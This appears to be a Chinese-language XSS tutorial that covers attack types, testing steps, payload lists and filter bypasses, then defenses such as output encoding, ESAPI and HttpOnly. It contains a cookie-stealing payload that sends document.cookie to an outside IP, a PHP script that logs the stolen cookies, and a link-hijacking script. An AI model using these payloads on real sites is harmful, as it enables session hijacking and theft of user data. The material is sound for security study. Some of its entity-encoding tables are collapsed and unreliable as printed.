简介
XSS(Cross Site Scripting)——跨站脚本攻击
为了避免和层叠样式表CSS混淆固取名XSS
原理:攻击者向WEB页面插入前端代码(HTML、CSS、JS、VBS等)一般为具有恶意功能的代码访问该页面的用户就会触发代码从而被攻击,一般是插入JS代码,它经常出现在服务器直接使用客户端提供的数据且没有对数据进行无害化处理的情况下(包括URL中的数据、HTTP协议头的数据和HTML表单中提交的数据)
本质:由于过度信任用户的输入,导致对输入内容校验不严格,将用户输入的数据当作有效前端代码来执行
危害:会话劫持、盗取Cookie、窃取用户信息、页面篡改、传播跨站蠕虫、网页挂马、提权、钓鱼攻击、蠕虫式DDos
漏洞点:数据交互的地方,输入框,URL参数,Cookie、HTTP头、翻页功能处、留言板、评论栏、URL哈希串中
测试流程:
1.在目标站点上寻找,数据交互的地方,如:搜索框、留言板、URL参数、页码等地方
2.输入一些,不会和当前页面元素重复的字符,提交后,查看源码,是否对你的输入做了处理(特殊字符过滤或转义)
3.通过搜索你的输入,查看到输出点处,是否可以对其进行标签或元素的闭合
4.构造测试代码(payload),看是否可以成功执行,执行成功则存在XSS漏洞
附: 如果在输入payload时有长度限制可以直接在查看当前输入点的源码处,修改标签属性绕过限制
Paylaod
<meta http-equiv="refresh" content= "0;">
<script>alert(1)</script>
<script>confirm(1)</script>
<script>prompt(1)</script>
<img src=1 onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
javascript:alert(1)//
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
<svg><animatetransform%20onbegin=alert(1)>
漏洞类型
反射型
反射型跨站脚本(ReflectedCross-site Scripting)也称作非持久型、参数型跨站脚本
由于此类型的跨站代码存在于URL中,所以攻击者通常需要通过诱骗或加密变形等方式将存在恶意代码的链接发给用户,只有用户访问该链接才能使攻击成功实施
此类XSS通常出现在网站的搜索栏、用户登陆入口等,常用来窃取客户端Cookies或进行钓鱼欺骗
攻击流程:前端输入→后端解析→前端输出
特点:只有用户在访问时才会触发,而且只执行一次,非持久化
危害:窃取Cookie,钓鱼欺骗
漏洞挖掘点:搜索栏、翻页功能处
存储型
存储型跨站脚本(Stored Cross-site Scripting)
比反射型跨站脚本更具威胁性,并且可能影响到Web服务器自身的安全,攻击者将攻击脚本写入后端数据库中,当普通用户在浏览网页时,网页在查询数据进行展示时会将带有攻击脚本的数据一并返回,此时就触发了攻击,此类XSS多见于,论坛、博客、留言板、注册等凡是需要写入数据进数据库的业务处
攻击流程:前端输入→后端解析→存入数据库→查询数据库→前端输出
特点:此类XSS不需要用户访问特定的URL就能执行,攻击者事先将恶意JS代码提交存储到服务器中,只要浏览该站点就会触发
危害:制造XSS蠕虫、渗透网站、挂马、XSS蠕虫会影响到一个网站的所有用户
漏洞挖掘点:网站留言、评论、博客日志、个性签、注册页面名等地方凡是可以输入并存入数据库的地方都有可能
利用: XSS盲打后台、XSS蠕虫
XSS蠕虫:跨站蠕虫是使用Ajax/JavaScript脚本语言编写的蠕虫病毒
DOM型
DOM XSS类似反射型XSS,只不过反射型是由后端脚本解析输出到前端而DOM型是直接由前端的JS引擎解析后在前端输出
从JavaScript中输出数据到HTML页面里可以直接在前端页面看到相应的JS代码
攻击流程:前端输入→前端JS解析→前端输出
漏洞挖掘点:URL中的hash串,#后面的内容 可以通过阅读网页源码找到漏洞
漏洞利用
标签之间的XSS
<div>输出</div>
此时我们可以直接使用Payload
<script>alert(1)</script>
如果遇到以下标签时,则无法直接使用,需要闭合标签
<title></title>
<textarea></textarea>
<xmp></xmp>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<plaintext></plaintext>
标签属性中的XSS
<input type="text" name="h" value="输出">
此时我们可以闭合属性,并结合JS事件输出
"οnclick=alert(1)//
也可以直接闭合属性和标签,构造任意Payload
如果标签中存在hidden属性也需要闭合
"><script>alert(/XSS/)</script>
输出在src、href、action等属性内
javascript:alert(1)//
经过unicode编码的
javascript:alert(1)
宽字节XSS
本质:宽字节字符吃ASCII字符
宽字节编码(2字节):GB2312、GBK、GB18030、BIG5
GBK编码存在宽字节的问题,主要表现为GBK编码的
第一字节(高字节)的范围是0x81~0xFE
第二字节(低字节)的范围是0x40~0x7E
与0x80~0xFE
。
宽字节XSS使用条件:页面使用GBK编码,当后台将一些敏感字符转义为高字节或低字节的范围内的一个字符时,可以自行判断高低后,拼接一个高字节或低字节的字符组合成一个合法的宽字节字符,从而吃掉转义的字符,绕过防御。
当后台使用addslashes()
函数时,会将'
转换为\'
,此时如果页面为GBK编码,在GBK编码中\
符号的十六进制表示为0x5C
,属于GBK的低字节中。因此,如果在后面添加一个高字节编码,那么添加的高字节编码会与原有编码组合成一个合法字符
如下示例:
%df'
经过addslashes()
函数后变成%df\'
又因为页面是GBK编码,在解析%df
和\'
时是以%df%5c%27
的方式编码解码,而%df
和%5c
刚好是一个高字节和低字节编码的组合,因此最后变成運'
造成了单引号的逃逸
%bf'
→ 縗'
%be'
→綷'
%df';<script>alert(/xss/)</script>;//
Cookie劫持
盗取Cookie后,可以通过HackBar发送Cookie,从而绕过登录验证
Cookie劫持Payload:
<script>document.location='http://192.168.1.3/cookie.php?cookie='+document.cookie</script>
浏览器信息劫持
<script>document.location='http://192.168.1.3/info.php?info='+navigator.userAgent;</script>
获取劫持到的信息
<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
header('Location: http://127.0.0.1/security/DVWA/vulnerabilities/xss_r/'); //盗取Cookie后跳转回原来的页面避免
?>
篡改网页链接
<script>
window.onload = function(){
var link=document.getElementsByTagName("a");
for(i=0; i<link.length; i++){
link[i].href="http://www.baidu.com/";
}
}
</script>
WAF绕过
标签语法替换、特殊符号干扰、更改提交方式、垃圾数据溢出
绕过过滤-转换
前端限制
直接抓包重放,或直接修改前端限制代码
扰乱过滤规
(1)转换大小写、大小写混淆、不用引号、不用双引号
(2)当script关键字被过滤时使用嵌套的方法嵌套
<scr<script>ipt>alert(1)</script>
<script><ScRipt>alert(1)</ScRipt></script>
(3)大小写混合
<ScRipt>alert(1)</ScRipt>
(4)重叠
<scrscript>alert(1)<scrscript>
<scriscriptpt>alert(1)</scriscriptpt>
(5)编码
<!--
将"<"转换为\u003c
将">"转换为\u003e
将"/"转换为\u002f
-->
\u003cscript\u003ealert(1)\u003c\u002fscript\u003e
(5)其他标签
<img src="#" onerror=alert(1)>
<iframe onload=alert(1)>
3.使用注释进行干扰:
<scri<!--test-->pt>>alert(111)</sc<!--test-->ript>
编码绕过:
后台过滤了特殊字符,比如<script>
标签,但该标签可以被各种编码,后台不一定会过滤,当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行在使用编码时需要注意编码在输出点是否会被正常的识别和翻译
JS编码:
三个八进制数,个数不够在前面补0,e
→\145
两个十六进数,如果个数不够,前面补0,e
→\x65
四个十六进制数,如果不够前面补0,e
→\u0065
转义字符来表示控制字符,\n
、\r
HTML实体编码:
以&
开头以;
结尾
<
→<
<
→<
>
→>
&
→&
″
→"
'
→'
©
→©
Unicode编码
以\u
开头的原始Unicode编码
Unicode转为ASCII码以&#
数值显示的编码
Unicode转为十六进制ASCII码以&#x
开头
在线转码平台:
http://www.jsons.cn/unicode/
URL编码
以%开头
"
→%22
空格
→%20
利用字符编码绕过转义
当系统使用\
转义了双引号时
且页面字符编码为GBK/GB2132编码时,构造如下payload
%c1" alert(xss); //
在firefox 下%c1\"
组成了一个新的Unicode字符,绕过了对双引号的转义
绕过长度限制通过location.hash
当出现两个input标签时可以分别写下一半注释代码将两个标签打通
通过<base>
标签在远程服务器上伪造图片、链接、脚本,劫持当前页面中所使用相对路径的标签
通过window.name实现跨域,跨页面传递数据
防御
基本防御
XSS防御需要区分情况对待
XSS本质是一种HTML注入,用户的数据被当成了HTML代码的一部分来执行,从而混淆了原本的语义,产生了新的语义
如果网站使用了MVC架构,那么XSS就发生在View层根治XSS问题,可以列出所有可能发生的场景,再逐一解决
用$var
表示用户数据
它被填充入HTML代码中如:
<!--这是正常的-->
<div>$var</div>
<a href='#'>$var</a>
<!--这是插入恶意代码后-->
<div><script>alert(/xss/)</script></div>
<a href='#'><img src='οnerrοr=alert(1)'></a>
防御方法:对变量使用HtmlEncode
在HTML属性中输出
<!--这是正常的-->
<div id="abc" name="$var"></div>
<!--这是插入恶意代码后-->
<div id="abc" name=""<script>alert(/xss/)</script><""></div>
防御方法: 对变量进行HtmlEncode
在ESAPI(OWASP Enterprise Security API)中推荐了一种更严格的HtmlEncode——除了字母、数字外,其他所有的特殊字符都被编码成HTMLEntities
<script>String safe = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input"));</script>
在<script>
标签中输出
<script>var x = "$var"</script>
<!--需要闭合引号-->
<script>var x = ""; alert(/xss/); //";</script>
防御方法: 使用JavaScriptEncode
在JS事件中输出
<a href=# onclick="funcA('$var')">test</a>
<a href=# onclick="funcA('');alert(/xss);//')">test</a>
防御方法: JavaScriptEncode
在CSS中输出
一般来说,尽可能禁止用户可控制的变量在<style>
标签、HTML标签的style属性,以及CSS文件中输出
如果一定要有这样的要求,推荐使用OWAP ESAPI中的encodeForCSS()函数
<script>String safe =ESAPI.encoder().encodeForCSS(request.getParameter("input")); </script>
在URL中输出
一般来说,如果只在URL的路径或参数中输出时
使用URLEncode
即可
<a href="http://www.evil.com/? test=$var">test</a>
<a href="http://www.evil.com/? test="οnclick=alert(1)"">test</a>
经过URLEncode后
<a href="http://www.evil.com/? test=%22%20onclick%3balert%281%29%22">test</a>
但如果整个URL都是参数
则还可以通过javascript、vbscript、dataURI等为协议执行攻击
dataURI 这个协议是Mozilla所支持,能够将一段代码写在URL里
因此如果变量是一整个URL,则应该先检测变量是否以http或https开头
如果不是则自行添加,以保证不会受到此类伪协议的XSS攻击
OWASP ESAPI中有一个URLEncode(此API为解决)
<script>String safe = ESAPI.encoder().encodeForURL( request.getParameter("input" ) );</script>
过滤ajax请求里的XSS
在后端向前端输出数据时过滤,既可有效阻止
HttpOnly
httponly不能阻止XSS漏洞只能防止JS获取Cookie
最早由微软提出,浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie
是Cookie的一项属性,如果Cookie设置了这个属性,那么浏览器将禁止页面的JavaScript访问这个Cookie
HttpOnly只是一个防止Cookie被恶意读取的设置,不应该单独使用,可以配合上述的防护方法来达到良好的防护效果
在PHP中开启HttpOnly的方式:
1.找到PHP.ini,寻找并开启标签session.cookie_httponly = true,从而开启全局的Cookie的HttpOnly属性
2.Cookie操作函数setcookie和setrawcookie专门添加了第7个参数来作为HttpOnly的选项,开启方法为:
setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
setrawcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
在实际应用中,HttpOnly没有被广泛使用,这是从业务便利性角度进行的选择
比如,在网站做广告推荐时,会利用JS脚本读取当前用户Cookie信息以作精准推广,如果开启HttpOnly,则上述效果会失效
因此,推荐在一些管理系统或专项系统中使用HttpOnly。其余系统需根据业务特点选择是否开启,毕竟HttpOnly针对XSS的防护效果极其有限
输入校验
输入校验的逻辑必须放在服务器端代码中实现,如果只在客户端使用JavaScript进行校验,是很容易被攻击者绕过
比如一个拿JS做了校验的地方,关闭浏览器的JS则这个校验就失效了
通过用户输入的数据比对XSS的特征,查看数据中是否有特殊字符和敏感字符
这种检测方式可以称为XSS Filter
过滤特殊字符在输入输出端进行过滤输入验证要根据实际情况来设计
下面是一些常见的检测和过滤:
1.输入是否仅仅包含合法的字符;
2.输入字符串是否超过最大长度限制;
3.输入如果为数字,数字是否在指定的范围;
4.输入是否符合特殊的格式要求,如E-mail地址、IP地址等。而对于重要敏感的信息,如折扣、价格等,理应放到服务器端进行传参与校验等操作
输出检查
在变量输出前,使用编码或转义的方式来防御XSS攻击,安全编码函数:
URL编码:
规则:%
+两位16进制的ASCII码
需要编码的字符:有不安全的字符和一些出现在参数中的保留字符
空格
、#
、<
、>
、%
、{
、“}
”、|
、\
、^
、~
、[
、]
、```
HTML编码
这种方案是对HTML中的特殊字符的重新编码,称为HTMLEncode。
实体化编码的意义在于严格限定了数据就是数据,避免数据被当成代码进行执行
在PHP中可以使用htmlentities()
和htmlspecialchars()
来进行编码,编码方式如下
&
→&
<
→<
>
→<
"
→"
'
→'
或'
/
→/
;
十六进制形式:以&#x
+16进制的ASCII值
+;
组成
&
→&
<
→<
>
→>
"
→"
'
→'
/
→/
;
十进制形式:&#
+十进制ASCII值
+;
&
→&
<
→<
>
→>
"
→"
'
→'
/
→/
;
JavaScript编码
3个八进制数字,如果个数不够,前面补0
2个十六进制数字,不够前面补0
4个十六进制数字
控制符使用类C风格转义\n
、\t
混合编码
当一个语句在多种语境中时需要进行多次编码,根据解析顺序进行反向编码
编码顺序:从内到外,从后到前,按照浏览器语法解析的逆序进行编码
<td onclick="openUrl(add.do?userName='<%=value%>/>');">Join</td>
解析顺序:HTML→JavaScript→URL
相应的编码的顺序应该为:URL→JavaScript→HTML
DOM型防御
DOM型XSS在客户端触发,不经过服务端解析,因此服务端的防御方式都不适合
使用"
包裹输出的字符串
OWASP-ESAPI:
HTML编码:
String ESAPI.encoder().encoderForHTML(String);
HTML属性编码
String ESAPI.encoder().encoderForHTMLAttribute(String);
JavaScript编码
String ESAPI.encoder().encoderForJavaScript(String);
CSS编码
String ESAPI.encoder().encoderForCSS(String);
URL编码
String ESAPI.encoder().encoderForURL(String);
VBScript编码
String ESAPI.encoder().encodeForVBScript(String);